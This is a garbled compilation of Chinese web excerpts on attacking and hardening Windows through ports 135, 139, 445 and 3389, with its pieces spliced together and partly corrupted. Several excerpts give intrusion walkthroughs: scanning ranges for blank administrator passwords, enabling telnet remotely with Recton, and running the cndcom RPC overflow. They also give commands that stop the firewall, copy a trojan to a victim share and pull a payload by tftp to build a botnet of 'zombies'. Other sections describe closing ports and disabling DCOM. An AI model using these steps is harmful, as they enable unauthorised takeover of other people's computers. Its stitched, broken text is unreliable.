关于135端口实战入侵&安全防御

合集下载

各个端口的入侵方法(入侵菜鸟必看)

各个端口的入侵方法（入侵菜鸟必看）1. 1433端口入侵scanport.exe 查有1433的机器SQLScanPass.exe 进行字典暴破（字典是关键）最后SQLTools.exe入侵对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。

nc -vv -l -p 本机端口sqlhelloF.exe 入侵ip 1433 本机ip 本机端口（以上反向的，测试成功）sqlhelloz.exe 入侵ip 1433 （这个是正向连接）2. 4899端口入侵用4899过滤器.exe，扫描空口令的机器3. 3899的入侵对很早的机器，可以试试3389的溢出(win3389ex.exe)对2000的机器，可以试试字典暴破。

(tscrack.exe)4. 80入侵对sp3以前的机器，可以用webdav入侵；对bbs论坛，可以试试上传漏洞（upfile.exe或dvup_delphi.exe）可以利用SQL进行注入。

（小榕的注入软件）。

5. serv-u入侵(21端口）对5. 004及以下系统，可用溢出入侵。

（serv5004.exe）对5.1.0.0及以下系统，可用本地提升权限。

（servlocal.exe）======================================对serv-u的MD5加密密码，可以用字典暴破。

（crack.vbs）输入一个被serv-u加密的密码（34位长），通过与字典档（dict.txt）的比较，得到密码。

如：cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A6. 554端口用real554.exe入侵。

7. 6129端口用DameWare6129.exe入侵。

8. 系统漏洞利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞，进行溢出入侵。

9. 3127等端口可以利用doom病毒开的端口，用nodoom.exe入侵。

如何防范135,445端口入侵

4.关闭IPS$
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentConteolset \ Control \ Lsa项，找到restrictanonymous键值，将键值设为1。
5.自定义安全策略
执行"开始-控制面板-管理工具-本地安全策略"在打开的"本地安全设置"窗口中选"IP安全策略在本地计算机" 在窗口右边空白处单击鼠标右键,选'创建IP安全策略"在弹出的向导中单击"下一步",然后在名称一栏中输入"阻止危险的端口",再单击"下一步"取消对"激活默认响应规则"的选中. 单击"下一步"-"完成" 在"阻止危险端口属性"对话框中取消对"使用添加向导"的勾选. 单击"添加" 在"新规则属性"对话框中单击"添加"按钮弹出"IP筛选器列表" 取消对"使用添加向导"的勾选. 单击"添加",在"寻址"页面的"源地址"中选择"任何IP地址",在"目标地址"中选"我的IP地址" 切换到"协议"选项卡在协议类型中选"TCP",然后在"到此端口"中输入"135" 单击"确定"按钮返回"IP筛选器列表"重复以上步骤为其他需要关闭的窗口建立相应的筛选器.完成后单击"确定"在"新规则属性"窗口中选中"新IP筛选器列表" 切换到"筛选器操作"选项卡取消对"使用添加向导"的勾选然后单击"添加"在"新筛选器操作属性"窗口的"安全措施"选项卡中选择"阻止" 点"确定"返回"新规则属性"选中"新筛选器操作"后,单击"关闭" 在"阻止危险的端口属性"中选"新IP筛选器列表" 关闭,返回"本地安全设置"用鼠标右键单击"阻止危险的端口"在弹出的菜单中选"指派'命令除了135 445外,其实还有危险的端口:TCP中的135 445 593 1025 3389 UDP中的135 139 445

屏蔽135 139 445 3389端口的方法以及网络端口安全防护技巧

屏蔽135 139 445 3389端口的方法以及网络端口安全防护技巧默认情况下，Windows有很多端口是开放的，在你上网的时候，网络病毒和黑客可以通过这些端口连上你的电脑。

为了让你的系统变为铜墙铁壁，应该封闭这些端口，主要有：TCP 135、139、445、593、1025 端口和UDP 135、137、138、445 端口，一些流行病毒的后门端口（如TCP 2745、3127、6129 端口），以及远程服务访问端口3389。

下面介绍如何在WinXP/2000/2003下关闭这些网络端口：第一步，点击“开始”菜单/设置/控制面板/管理工具，双击打开“本地安全策略”，选中“IP 安全策略，在本地计算机”，在右边窗格的空白位置右击鼠标，弹出快捷菜单，选择“创建IP 安全策略”（如右图），于是弹出一个向导。

在向导中点击“下一步”按钮，为新的安全策略命名；再按“下一步”，则显示“安全通信请求”画面，在画面上把“激活默认相应规则”左边的钩去掉，点击“完成”按钮就创建了一个新的IP 安全策略。

第二步，右击该IP安全策略，在“属性”对话框中，把“使用添加向导”左边的钩去掉，然后单击“添加”按钮添加新的规则，随后弹出“新规则属性”对话框，在画面上点击“添加”按钮，弹出IP筛选器列表窗口；在列表中，首先把“使用添加向导”左边的钩去掉，然后再点击右边的“添加”按钮添加新的筛选器。

第三步，进入“筛选器属性”对话框，首先看到的是寻址，源地址选“任何IP 地址”，目标地址选“我的IP 地址”；点击“协议”选项卡，在“选择协议类型”的下拉列表中选择“TCP”，然后在“到此端口”下的文本框中输入“135”，点击“确定”按钮（如左图），这样就添加了一个屏蔽TCP 135（RPC）端口的筛选器，它可以防止外界通过135端口连上你的电脑。

点击“确定”后回到筛选器列表的对话框，可以看到已经添加了一条策略，重复以上步骤继续添加TCP 137、139、445、593 端口和UDP 135、139、445 端口，为它们建立相应的筛选器。

Kylin的端口入侵记(一)

kylin将扫描到的内容复制出来，存放在一个记事本中，以方便他后面的工作。然后kylin又拿出一个工具—NTSCAN。这是一款很出名的扫描空密码的工具。由于NTSCAN中导入列表的格式和kylin用啊D网络工具包导出的格式不一样，所以他需要稍做调整。把“135号端口打开”替换成无，就可以删掉这些影响使用的文字了（图1）。
kylin通过135端口完成了一次入侵，可是还有一些密码复杂的电脑该怎么办呢？敬请期待kylin的下一次入侵。
NTSCAN也叫变态扫描器，因为它扫描速度极快，功能比较专一。在上面勾选“主机文件”，并点击“打开”选择他刚才得到的扫描结果，将扫描方式改为WMI，端口改为135，即可开始扫描了。等待两分钟，一个个可爱诱人的IP就显示了出来。
由于很多电脑都是重装过系统的，一般都没有密码，账户也是默认的administrator，这为kylin的入侵提供了很多便利。NTSCAN自身的功能并不多，所以kylin需要再利用另一款工具来进行下一步的入侵。Kylin从他那万恶的工具包中取出了Recton，使用Recton，只要你有一远程主机的管理员密码，并且远程主机的135端口和WMI服务都开启，那么你就可以通过这个小程序远程控制对方电脑。
135端口入侵该怎么防御
从入侵的过程中我们发现，弱口令和135端口是必经之路。简单的防御就是把Windows的管理员密码改得复杂一些，高级的防御手段就是关闭135端口。关闭135端口在XP系统下比较容易。依次打开网络连接中的“本地连接→属性”→打开Internet协议（tcp/ip）属性，选择“高级TCP/IP设置→TCP/IP筛选→属性”，打开TCP/IP筛选即可。
Windows7中有些麻烦，首先运行SECPOL.MSC，选IP安全策略。然后在IP安全策略右面窗口右键点击创建IP安全策略，点击下一步，出现创建窗口，然后，凡是以后步骤看到有使用“添加向导”的都取消，全手动创建。在策略属性上点添加，会出现新规则属性，里面有IP筛选器列表，在IP筛选器列表的页面上点“添加”，在新出现窗口里填写名称，然后点“添加”（图2）。

黑客攻防案例精选.0012

1.让烦人的弹出窗口永远消失
AtGuard 可以禁止页面中的广告条和弹出窗口。在设置窗口中可以看出它能够阻止GIF阻止动画效果、屏蔽页面中的广告条等。
如果将快捷栏的不同框打上钩， AtGuard 便会：自动拦截网页的广告数据流、自动禁止 Cookies、开启atGurad的防火墙功能。有时候当你打开页面的时候会有子窗口弹出，这些弹出的窗口大多是一些广告条之类的无用信息。若是只打开一个还好办些，手工关闭即可，但一些站点偏偏会弹出N个窗口，让你手忙脚乱，应接不暇，运气不好的话还会因此而导致死机和系统崩溃！AtGuard也就集成了去除广告弹出窗口的功能，可以在上网的时候不被这些弹
114
小知识
分布式对象模型 (DCOM) 是一种能够使软件组件通过网络直接进行通信的协议。 DCOM以前叫做“网络 OLE”，它能够跨越包括Internet协议（例如 HTTP）在内的多种网络传输。可以从以下网站查阅有关 DCOM 的详细信息：/com/tech/ dcom.asp。
德罗巴——网络炸弹与暴力攻击 CHAPTER 05
接着再来介绍一下压缩包中的rpc_locator.exe 工具，一个控制台模式下速度超快的 rpc 漏洞专扫工具。使用命令格式如下： rpc_locator IPAddress-Start IPAddress-End 命令使用后，立即就可以看到效果。 20 Windows 2000 SP1 (Japanese) 21 Windows 2000 SP2 (Japanese) 22 Windows 2000 SP0 (Korean) 23 Windows 2000 SP1 (Korean) 24 Windows 2000 SP2 (Korean) 25 Windows 2000 SP0 (MX) 26 Windows 2000 SP1 (Mx) 这里举个例子来说吧，比如要攻击一个IP地址为127.0.0.1的英文版Windows 2000 SP4操作系统，输入下图中的命令。下面来看看攻击方法，这里使用了 cndcom. exe这款RPC 溢出程序，针对几乎所有版本，使用格式如下： cndcom <Target ID> <Target IP> 对应的类型ID如下： 0Windows 2000 SP0 (English) 1Windows 2000 SP1 (English) 2Windows 2000 SP2 (English) 3Windows 2000 SP3 (English) 4Windows 2000 SP4 (English) 5Windows XP SP0 (English) 6Windows XP SP1 (English) 7Windows NT SP5 (Chinese) 8Windows NT SP6 (Chinese) 9Windows NT SP6 (Chinesebig5) 10 Windows 2000 SP0 (Chinese) 11 Windows 2000 SP1 (Chinese) 12 Windows 2000 SP2 (Chinese) 13 Windows 2000 SP2 add(Chinese) 14 Windows 2000 SP3 (Chinese) 15 sp3) 16 Windows 2000 SP4 (okChinese) 17 Windows 2000 SP4 add(Chinese) 18 Windows XP SP1 (Chinese) 19 Windows 2000 SP0 (Japanese)

135端口入侵

1：用139端口入侵
我们先确定一台存在139端口漏洞的主机。用扫描工具扫描！比如SUPERSCAN这个端口扫描工具。假设现在我们已经得到一台存在139端口漏洞的主机，我们要使用nbtstat -a IP这个命令得到用户的情况！现在我们要做的是与对方计算机进行共享资源的连接。
用到两个NET命令，下面就是这两个命令的使用方法
\\computபைடு நூலகம்rname\sharename服务器及共享资源的名称。?
password访问共享资源的密码。?
*提示键入密码。 /user指定进行连接的另外一个用户。?
domainname指定另一个域。?
username指定登录的用户名。?
/home将用户连接到其宿主目录?
用4899过滤器.exe，扫描空口令的机器
3：80入侵
对sp3以前的机器，可以用webdav入侵；
对bbs论坛，可以试试上传漏洞（upfile.exe或dvup_delphi.exe）
可以利用SQL进行注入。（啊D的注入软件）。
4：serv-u入侵(21端口）
对5. 004及以下系统，可用溢出入侵。（serv5004.exe）
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。
8. C:\WINNT\system32>ntlm
输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这
端口漏洞：相信去年很多Windows 2000和Windows XP用户都中了“冲击波”病毒，该病毒就是利用RPC漏洞来攻击计算机的。RPC本身在处理通过TCP/IP的消息交换部分有一个漏洞，该漏洞是由于错误地处理格式不正确的消息造成的。该漏洞会影响到RPC与DCOM之间的一个接口，该接口侦听的端口就是135。

135端口入侵

实验5 135端口入侵一、实验目的通过这项实验旨在使学生对135端口入侵有一定的了解，提高同学们的安全意识，掌握配置安全系统的能力。

二、实验任务任务性质：黑客攻防三、任务描述：扫描局域网中开放的135端口，运用工具，开启telnet服务，登录对方主机，放入木马。

四、任务步骤：（1）用x-san扫描主机，发现开启135端口主机；（2）用ntscan扫描开启135端口主机，telnet登录密码是否为空；（3）发现telnet登录密码为空的主机，用recov启动telnet服务；（4）建立ftp服务器，将木马放入ftp服务器；（5）通过telnet登录ftp服务器，将木马上传上目标主机，并运行；（6）肉鸡完成。

五、总结关闭135端口，445端口，139端口，3389端口的方法。

端口关闭前查看开启端口：1、关闭445端口经过注册表更改[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\NetBT\Parameters][HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\NetBT\Parameters]在“Parameters”项上，右键单击，选择“新建”——“DWORD值”。

将DWORD值命名为“SMBDeviceEnabled”。

右键单击“SMBDeviceEnabled”值，选择“修改”。

在“数值数据”下，输入“0”，单击“确定”按钮。

2、关闭135端口经过注册表更改（1）在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] 项中把EnableDCOM的值改为“N”（2）在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc] 项中把DCOM Protocols 键值中删除“ncacn_ip_tcp”（3）停用“Distributed Transaction Coordinator”服务3、关闭3389 端口（1）在我的电脑上点右键选属性-->远程，将里面的远程协助和远程桌面两个选项框里的勾去掉（2）找到这个服务“Terminal Services”并关闭该服务4、关闭139端口、（1）右击网络邻居——属性，打开本地连接属性，在属性窗口的“常规”选项卡中选择“Internet协议（TCP/IP）”；（2）单击“属性”按钮，在打开的窗口中，单击“高级”按钮；卡，“NetBIOS设置”下，选择“禁用TCP/IP上的NetBIOS。

不同端口的入侵方法

21端口：
21端口是默认的FTP端口，利用方式：弱口令探测/溢出
目前我还没看到远程溢出的，SERU的本地溢出漏洞风靡一时，曾经很多SSH远程登录协议，利用方式：弱口令探测
23端口
23端口是TLENET的默认端口，利用方式：弱口令探测/溢出
135端口
135端口提供查询服务。利用方式：IPC$(Internet Process Connection)入侵。
网上教程非常多，不多说了。
137端口
137端口统共NetBIOS 数据报(UDP)服务。
139端口
139端口提供共享资源服务(NetBios-SSN)，用在IPC$入侵中。上面这三个端口可以综合利用。
端口：7
服务：Echo
说明：能看到许多人搜索Fraggle放大器时，发送到X.X.X.0和X.X.X.255的信息。
端口：19
服务：Character Generator
说明：这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时会发送含有垃圾字符的数据流直到连接关闭。HACKER利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。同样Fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包，受害者为了回应这些数据而过载。
端口：80
服务：HTTP
说明：用于网页浏览。木马Executor开放此端口。
端口：99
服务：metagram Relay
说明：后门程序ncx99开放此端口。
端口：102
服务：Message transfer agent(MTA)-X.400 over TCP/IP

135端口入侵详解

135端口入侵详解135端口入侵详解（附件在下面）（环境：电信拨号上网，外网，系统WIN XP，此方法可能不适合内网或其他系统）经测试，入侵成功率100%，扫描时间可能较长，要有足够耐心，如扫不到135端口，可能是被当地电信屏蔽或内网未作映射,相关服务未开启或本地端口未打开（如135，139，445等），还有可能是未关闭主机杀软，WIN XP自带防火墙或其他防火墙（如瑞星防火墙等等）。

本人主机找135端口可是一扫一大片。

135端口扫描工具： X-way2.5 （可用其他IP扫描工具）IP整理工具：黑色旋风IP（可用其他IP整理工具）弱口令筛选工具： ntscan10 汉化版远程登录工具： recton声明：(下载以上文件杀软会报毒，使用后果自负)先确定打开了下列服务：TCP/IP NetBIOS HelperRemote Procedure Call (RPC) LocatorNT LM Security Support Provider运行X-way.exe打开主界面,左边工具栏选主机搜索，中间弹出窗填要扫描的起始IP地址，建议扫描本地网。

如自己的上网IP地址为58.54.144.20，可填起始地址为58.54.0.20，结束地址为58.54.255.20。

（注意结束地址比起始地址大）。

自己的上网IP可在/doc/3315772664.html,主页下部实用查询里的IP地址页看到。

注意机器重启后上网IP会发生改变。

搜索方式选端口方式（默认），线程设置里线程数可改为50-1000任选（根据机器性能）。

这里说明一下，WIN XP 默认连接数为10，需先进行线程破解，网上工具很多，实在不行下载迅雷，迅雷软件界面顶端工具栏展开后选系统优化工具，修改连接数最大支持1024，重启后生效。

X-way主机搜索界面，线程设置下面点击高级设置，弹出主机搜索各参数设置窗口，端口设置里勾选other,端口139（默认）改为135，连接延时改为2秒，其他不变，关闭回到主机搜索界面。

常见的入侵端口

原来的文件。
如果是NTFS格式，相对就麻烦一些。进安全模式。然后启动pulist列
出进程，然后用pskill这个程序（黑客网站有下的）杀掉svchost.exe
程序。然后在COPY过去。
覆盖后重新启动，使用netstat -an命令，可以看到Windows 2000下
已经没有135端口了。XP系统还有TCP的135，但是UDP里面已经没有
2.盘符属性
确定你要删除的盘符,单击鼠标右键选择共享和安全的选项.在弹出的窗口中选择不共享此文件夹.然后点确定.这样就关闭了共享(包括默认共享).
3.控制面板中删除
控制面板—管理工具—计算机管理—共享文件夹—共享
关闭里面的默认共享(包括admin$的删除)
4. 修改注册表
单击“开始/运行”，在运行窗口中输入“Regedit”，打开注册表编辑器，展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Lanmanworkstation\parameters”，在右侧窗口中创建一个名为“AutoShareWks”的双字节值，将其值设置为0，(win2000 专业版 win xp);[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
端口说பைடு நூலகம்:这是在安装服务器的时候，把系统安装分区自动进行共享，虽然对其访
问还需要超级用户的密码，但这是潜在的安全隐患，从服务器的安全考
虑，最好关闭这个“默认共享”，以保证系统安全。
关闭方法：关于默认共享的关闭方法有很多种方法.我这里根据自己所知的,归纳
了4种最常用的方法.
1.DOS下删除共享

常用入侵端口

端口：69
服务：Trival File Transfer
说明：许多服务器与bootp一起提供这项服务，便于从系统下载启动代码。但是它们常常由于错误配置而使入侵者能从系统中窃取任何文件。它们也可用于系统写入文件。
端口：79
服务：Finger Server
说明：入侵者用于获得用户信息，查询操作系统，探测已知的缓冲区溢出错误，回应从自己机器到其他机器Finger扫描。
端口：80
服务：HTTP
说明：用于网页浏览。木马Executor开放此端口。
端口：99
服务：Metagram Relay
说明：后门程序ncx99开放此端口。
端口：102
服务：Message transfer agent(MTA)-X.400 over TCP/IP
端口：636
服务：LDAP
说明：SSL（Secure Sockets layer）
端口：666
服务：Doom Id Software
说明：木马Attack FTP、Satanz Backdoor开放此端口
端口：99re Sockets layer）
端口：31
服务：MSG Authentication
说明：木马Master Paradise、Hackers Paradise开放此端口。
端口：42
服务：WINS Replication
说明：WINS复制
端口：53
服务：Domain Name Server（DNS）
端口：119
服务：Network News Transfer Protocol
说明：NEWS新闻组传输协议，承载USENET通信。这个端口的连接通常是人们在寻找USENET服务器。多数ISP限制，只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子，访问被限制的新闻组服务器，匿名发帖或发送SPAM。

防火墙禁止135,137,138,139,445端口攻击的方法

防火墙禁止135,137,138,139,445端口攻击的方法1.Win10自带防火墙关闭端口步骤（本设置步骤仅适用于启用了系统自带防火墙的操作系统）第一步：打开系统的“控制面板”，点击“系统和安全”第二步：进入“windows防火墙”第三步：点击左侧的“高级设置”（注：下图中未启用系统防火墙，仅做参考）第四步：点击左侧的“入站规则”，再点右边的“新建规则…”第五步：选择“端口”，点“下一步”。

第六步：按下图设置，选择TCP和特定本地端口，填入端口号135,137,138,139,445，点下一步。

第七步：选择“阻止连接”，点下一步。

第八步：在“何时应用该规则？”这一步默认全选，点下一步。

第九步：定义规则名称和规则描述（按自己习惯填写），点击完成，可在入站规则中查看到上述步骤自定义的规则。

第十步：重复上述步骤新建规则禁用UDP的135,137,138,139,445的入站。

仅上述第六步选择UDP，端口号依然相同，其它步骤一样。

第九步自定义规则的名称不要相同。

2.ESET NOD32防火墙关闭端口步骤（本设置步骤仅适用于使用ESET NOD32防火墙的操作系统）第一步：打开ESET NOD32软件，点击主界面左侧的“设置”。

第二步：点击右侧的“网络保护”，再点击“个人防火墙”右侧的，选择“配置…”。

第三步：点击“规则”右侧的“编辑”。

第四步：点击“添加”。

第五步：按如下设置“添加规则”中的“常规”、“本地”选项卡，“远程”选项卡默认空白。

第六步：点击“确定”。

完成！3.卡巴斯基安全软件2016防火墙关闭端口步骤（本设置步骤仅适用于使用卡巴斯基安全软件防火墙的操作系统）第一步：打开卡巴斯基安全软件，点击其左下角的设置按钮。

第二步：点击左侧的“保护”。

第三步：点击“防火墙”，然后点“配置包规则”。

第四步：点右下角的“添加”，分别按下面两图所示设置，添加TCP和UDP的规则，并“保存”。

第五步：至此，就能在“包规则”中查看所添加的两个规则。

入侵过程中小技巧总结

Dim TSName,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"
TSName=ReadComputerName.RegRead(TSRegPath)
echo "portnumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
=========================================================
修改3389端口方法（修改后不易被扫出）
脚本会判断目标系统类型，如果不是server及以上版本，就会提示你是否要取消。
因为pro版不能安装终端服务。
如果你确信脚本判断错误，就继续安装好了。
如果要对本地使用，IP地址为127.0.0.1或者一个点（用.表示），用户名和密码都为空（用""表示）。
脚本访问的目标的135端口，如果目标135端口未开放，或者WMI服务关闭，那么脚本就没用了。
修改服务器端的端口设置,注册表有2个地方需要修改
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]
PortNumber值，默认是3389，修改成所希望的端口，比如6000
user2 12 已断开无 2004-10-09 15:37
此时可以看出的可能根我们的不一样，根据具体情况而定。

windows高危端口梳理

windows⾼危端⼝梳理梳理windows的⾼危端⼝，包括：135、137、138135端⼝ —— TCPIEen⼯具利⽤135端⼝实施攻击的过程：利⽤DCOM技术。

DCOM技术与对⽅计算机进⾏通信时，会⾃动调⽤⽬标主机的RPC服务，RPC服务将⾃动询问⽬标主机种的135端⼝，当前有哪些端⼝可以⽤来通信，⽬标主机会提供⼀个可⽤的服务端⼝作为数据传输通道使⽤。

也就是说，在这个通信过程中，135端⼝就是RPC通信中的桥梁，为RPC通信提供服务端⼝映射功能。

137端⼝ —— UDPUDP端⼝。

137端⼝的主要作⽤是在局域⽹中提供计算机的名字或IP地址查询服务，⼀般安装了NetBIOS协议后，该端⼝会⾃动处于开放状态。

如果攻击者知道⽬标主机的IP地址，并向该地址的137端⼝发送⼀个连接请求时，就可能获得⽬标主机的相关名称信息，⽐如计算机名称、注册该⽬标主机的⽤户信息、⽬标主机本次开机、关机时间等。

还可以知道⽬标主机是否作为⽂件服务器或主域控制器来使⽤。

138端⼝ —— UDP137、138属于UDP端⼝，在局域⽹中相互传输⽂件信息时起作⽤。

138端⼝主要作⽤是提供NetBIOS环境下的计算机名浏览功能。

攻击者通过与⽬标主机的138端⼝建⽴连接请求，可获得⽬标主机所处的局域⽹⽹络名称以及⽬标主机的计算机名称，通过该名称可进⼀步获取相应的IP地址。

139端⼝ —— TCP139端⼝主要作⽤是通过⽹上邻居访问局域⽹中的共享⽂件或共享打印机。

攻击者如果与⽬标主机的139端⼝建⽴连接的话，很有可能浏览到指定⽹段内所有⼯作站中的全部共享信息，甚⾄可对⽬标主机中的共享⽂件夹进⾏编辑、删除操作，如果攻击者还指导⽬标主机的IP地址和登录账号的话，能轻松查看⽬标主机中的隐藏共享信息。

445端⼝ —— TCP与139端⼝⼀样的作⽤，⽤于提供局域⽹⽂件或打印机共享服务。

区别是：139端⼝基于SMB协议（服务器协议族），445端⼝基于CIFS协议（通⽤英特⽹⽂件系统协议）。

135网络端口,禁用有巧招

提到135网络端口，在几年前相信没有多少人能准确知道该端口到底“扮演”什么角色，更不要说通过该端口能给系统带来什么潜在安全威胁了？直到有一种“IE`en”远程控制软件出现，人们才知道通过135端口，可以远程随意控制计算机的上网情况，包括偷窥上网帐号，监控浏览内容等，甚至还能运行各种通过DCOM技术开发出来的应用程序。

如此一来，开通服务器的135网络端口，就很有可能招来各种恶意的远程攻击；为确保网络服务器的安全，想办法关闭危险的135网络端口就显得十分必要了。

为此，本文特意提供了如下禁用技巧，相信能给各位带来帮助。

方法1、关闭RPC服务由于通过135网络端口，只能远程运行一些通过DCOM技术开发出来的应用程序，而DCOM技术在通信过程中，需要用到RPC服务；因此如果将服务器中的RPC服务停用的话，就能达到禁用135网络端口的目的了。

在禁用RPC服务时，可以依次单击“开始”/“程序”/“管理工具”/“服务”命令，在随后打开的“服务”列表中，双击其中的“Remote Procedure Call”选项，打开如图1所示的设置界面，将该界面的启动类型设置为“已禁用”选项，再单击一下“确定”按钮，服务器的RPC服务就会被暂时停用了。

图1 不过这种方法有很大的弊病，因为一旦将服务器的RPC服务停用的话，那么服务器将无法正常对外提供相关服务，比如数据库查询服务、远程登录服务等，因此这种方法只适合于普通的计算机，或者适合仅对外提供WWW服务、DNS服务的服务器。

方法2、禁用系统DCOM 考虑到服务器中的DCOM服务才会访问135网络端口，要是我们能让系统禁用DCOM服务功能的话，就能实现间接地关闭135端口的目的了。

要禁用计算机系统中的DCOM功能时，可以在系统的“开始”菜单中，执行“运行”命令，在弹出的运行对话框中，执行“dcomcnfg.exe”命令，在随后弹出的设置界面中，单击“默认属性”选项，在弹出的图2选项页面中，选中“在这台计算机上启用分布式COM”项目，再单击一下“确定”按钮，这样的话就能实现禁用系统DCOM服务的目的了。

利用135端口和445端口入侵

然后上传成功的话就运行木马就行了..然后就等着鹆子上线吧哈...
445端口入侵
用到的工具:
一.扫描器二.NTscan汉化版三.灰鸽子木马四.端口受到网络的限制，我们只能扫本市的，不过大家可以到肉鸡上扫，呵呵，那可是肉鸡生肉鸡啊
错误号2242，此用户的密码已经过期：目标有帐号策略，强制定期要求更改密码。
"//IP/c$"时提示找不到网络途径。在"网络和拨号连接"中"本地连接"中选取"Internet协议(TCP/IP)"属性，进入"高级TCP/IP设置"选"WINS设置"里面有一项"启用TCP/IP的NETBIOS。
相关命令：
net share 查看它有没有开共享
net stop sharedaccess 关防火墙
net share d$=d: D盘共享开启
copy server.exe \\59.52.61.5\d$ 传木马到肉鸡的D盘里
net share d$ /del 把D盘共享删掉
3.打开Recton，选择第二个(也就是Telnet的那个，然后在"远程主机"那里扫你刚刚扫出空口令的IP，直接点个【开始执行】就可以了(成功的话基本上是显示→
连接成功！
正在检查Telnet服务状态 ......
正在改变服务状态 ......
正在设置 NTLM=0 ......
如果有这样的话就选N..回车...
login:
password:
login:后填administrator，下面个是密码，不用填，直接回车就行...)
然后就进了他的C盘了(一般的话)..如果没在C盘的话键入 CD，这个命令就回到C盘的，然后你再键入这段命令:tftp -i ***.***.***.*** get 1.exe

135入侵实例

再来执行
看看是不是上线
OK，上线，到这里135的入侵就算是成功了，我们就可以进行远程操作了，浏览对方屏幕什么的。木马不在此教程的范围内，网上教程很多，大家可以下了看。
好的，这节就讲这么多了，再见。�
假如我们现在可以扫135端口了，开动s扫描器，用虚拟机做实验。先扫某个网段的开放135端口的主机
s.exe tcp 192.168.174.1 192.168.174.255 135 800 /save
到c盘找到结果编辑下
开动x-scan扫弱口令，XP下扫的还是挺快的。其他工具也一样。扫到密码后我们开他的telnet，
IP地址填错了 192.168.174.132
好了，我们已经能控制对方的服务了看到了没，telnet已经开好了，我们登录下
失去了跟主机的连接。说明我们没有通过验证，刚才我选的N 就是不发送密码，我们选Y试试，Y可以，但是有时就是telnet的验证问题，就像我们回家都要开锁一样，当我们远程登录到对方的时候对方也需要验证我们的身份，所以想要telnet到对方的话有必要解除这个限制
现在已经知道了 192.168.174.131 这台电脑用户名是administrator，空口令。我们完全可以不利用任何外部工具就能得到它的cmd shell，
右击我的电脑——管理——连接到另一台计算机。填入对方IP，有点卡，我们就可以进行部分操作了，比如开对方的服务，就这一个已经足够了。我们来演示下
135抓鸡可以说是我们的最爱了，记得俺第一次抓鸡的时候就是用135一小时抓了好几台，虽然不是很多，但是也够当时的俺激动好几天的了，能够控制别人电脑的那种喜悦可不是一般的爽。长话短说，这节课就详细的给大家讲下135抓鸡的原理及一些常见的问题。